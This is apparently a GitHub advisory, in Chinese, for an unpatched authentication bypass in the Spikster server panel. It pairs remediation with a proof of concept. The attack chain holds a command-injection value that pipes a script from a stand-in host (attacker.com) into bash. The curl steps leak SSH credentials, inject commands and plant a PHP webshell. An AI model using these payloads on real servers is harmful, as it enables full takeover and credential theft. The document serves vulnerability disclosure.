Kimdir01/spikster-auth-bypass-cve

GitHub: Kimdir01/spikster-auth-bypass-cve

Spikster 服务器管理面板的完整 API 身份验证绕过漏洞 PoC,演示了因认证中间件被注释导致的未授权完全控制及远程代码执行。

Stars: 0 | Forks: 0

# GitHub 安全公告:Spikster — 完全的 API 身份验证绕过 ## 公告信息 | 字段 | 值 | |-------|-------| | **严重性** | 严重 | | **CWE** | CWE-306(关键功能缺失身份验证) | | **CVSS v3.1** | 10.0 | | **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | ## 摘要 Spikster 服务器管理面板(基于 Laravel 的 cPanel 替代品)的**整个 API 身份验证中间件已被注释掉**,允许未经身份验证的攻击者在受管理的服务器上执行任意 shell 命令,读取/写入/删除任意文件,并访问所有 SSH/MySQL 凭证。 ## 漏洞详情 ### 受影响的包/代码库 - **代码库:** `spikster/site-manager`(Laravel 服务器管理面板) - **受影响版本:** 当前版本(所有已审计版本) - **修复版本:** 无(0-day) **提交哈希(已审计):** `e1cdf8c4b780c87457b548c38a87982b549e2465` ### 描述 **根本原因:** 位于 `app/Http/Middleware/CipiAuth.php` 的 `CipiAuth` 中间件的整个身份验证逻辑已被注释掉(第 24-72 行)。`routes/api.php` 中的每个 API 路由都使用了 `api` 中间件组,该组仅包含限流功能——没有任何身份验证。 **三个单独的身份验证绕过攻击向量:** 1. **API 路由 (`/api/*`):** `api` 中间件组没有身份验证中间件。所有 API endpoint 在没有身份验证的情况下返回数据。 2. **Shell/配置路由 (`/sh/*`, `/conf/*`):** 这些路由提供嵌入了密码的 shell 脚本。它们具有**零中间件**——完全没有身份验证。 3. **文件管理器路由:** `FileManagerController` 注册在 `api.php` 中,没有身份验证中间件,允许在服务器文件系统上进行任意文件读取/写入/删除。 中间件文件 `CipiAuth.php` 第 24-72 行: ``` // THE ENTIRE AUTH HANDLER IS COMMENTED OUT: // public function handle($request, Closure $next) // { // ... all auth logic removed ... // } ``` ### 攻击链(30秒内完全接管服务器): 1. `GET /api/servers` → 返回所有服务器的 IP 和 SSH 凭证 2. 带有 `{"package": "nginx;curl attacker.com/shell.sh|bash"}` 的 `POST /api/servers/{id}/packages/install` → 远程代码执行 (RCE) 3. `POST /files/store` → 将 PHP webshell 写入 webroot ### 同一代码库中的其他漏洞: - 通过 SSH exec 中未经处理的用户输入产生的 **12 个命令注入攻击向量**(站点创建、SSL、PHP 版本更改、Node.js 设置、MySQL 密码重置、supervisor 配置) - **硬编码的默认凭证:** `config/cipi.php` 中的 `admin@localhost / password` - `DatabaseService.php` 中**硬编码的 MySQL 密码**回退机制 - `ServerController.php` 中**硬编码的面板密码** `'Secret_123'` - 用于 PMA 自动登录的 **GET URL 中的凭证** - **进程列表中的凭证**(所有 SSH 任务都通过 `echo | sudo -S` 传递密码) - **无 CSRF 保护** - **完全的 IDOR** — Site/Server 模型上没有 `user_id` ## 影响 - **完全控制服务器** — 攻击者可以在所有受管理的服务器上执行任意命令 - **凭证窃取** — 所有 SSH 密钥、MySQL 密码、服务器凭证泄露 - 在 Web 服务器文件系统上**任意读取/写入/删除文件** - **数据泄露** — 所有客户数据、服务器配置、数据库内容 - **横向移动** — 访问该面板管理的所有服务器 ## 概念验证 ### 第 1 步:列出所有受管理的服务器(未经身份验证) ``` curl -s http://target.example.com/api/servers ``` 返回包含所有服务器 IP、主机名、SSH 凭证的 JSON。 ### 第 2 步:在目标服务器上执行命令(未经身份验证) ``` curl -X POST http://target.example.com/api/servers/1/packages/install \ -H "Content-Type: application/json" \ -d '{"package": "nginx; id > /var/www/html/pwned.txt"}' ``` ### 第 3 步:通过文件管理器写入任意文件(未经身份验证) ``` curl -X POST http://target.example.com/files/store \ -H "Content-Type: application/json" \ -d '{"content": {"pathName": "/var/www/html/shell.php"}, "data": ""}' ``` ### 第 4 步:访问 webshell ``` curl http://target.example.com/shell.php?cmd=whoami ``` ## 补丁/修复 ### 立即修复: ``` // In app/Http/Middleware/CipiAuth.php — UNCOMMENT the auth handler public function handle($request, Closure $next) { if (!$request->user()) { return response()->json(['error' => 'Unauthorized'], 401); } return $next($request); } ``` ### 其他必需的修复: 1. 将 `escapeshellarg()` 添加到所有 SSH 命令构建中 2. 从 `config/cipi.php` 中删除硬编码的凭证 3. 将 `user_id` 外键添加到 Site/Server 模型以防止 IDOR 4. 将 CSRF token 添加到所有会更改状态的 endpoint 5. 切勿通过命令行参数传递凭证(使用 stdin 或环境变量) ## 披露时间线 - **2026-06-28:** 由 Fatullayev Asadbek (Kimdir01) 发现漏洞 - **待定 (TBD):** 向维护者报告 - **待定 (TBD):** 申请 CVE - **待定 (TBD):** 发布公告 ## 致谢 - 发现者:Fatullayev Asadbek | GitHub: Kimdir01 - 独立安全研究员 ## 参考 - CWE-306:关键功能缺失身份验证 - CWE-78:操作系统命令注入 - CWE-798:硬编码的凭证
标签:API身份验证绕过, Cutter, PoC, StruQ, Web安全, Web报告查看器, 暴力破解, 服务器接管, 网络安全审计, 蓝队分析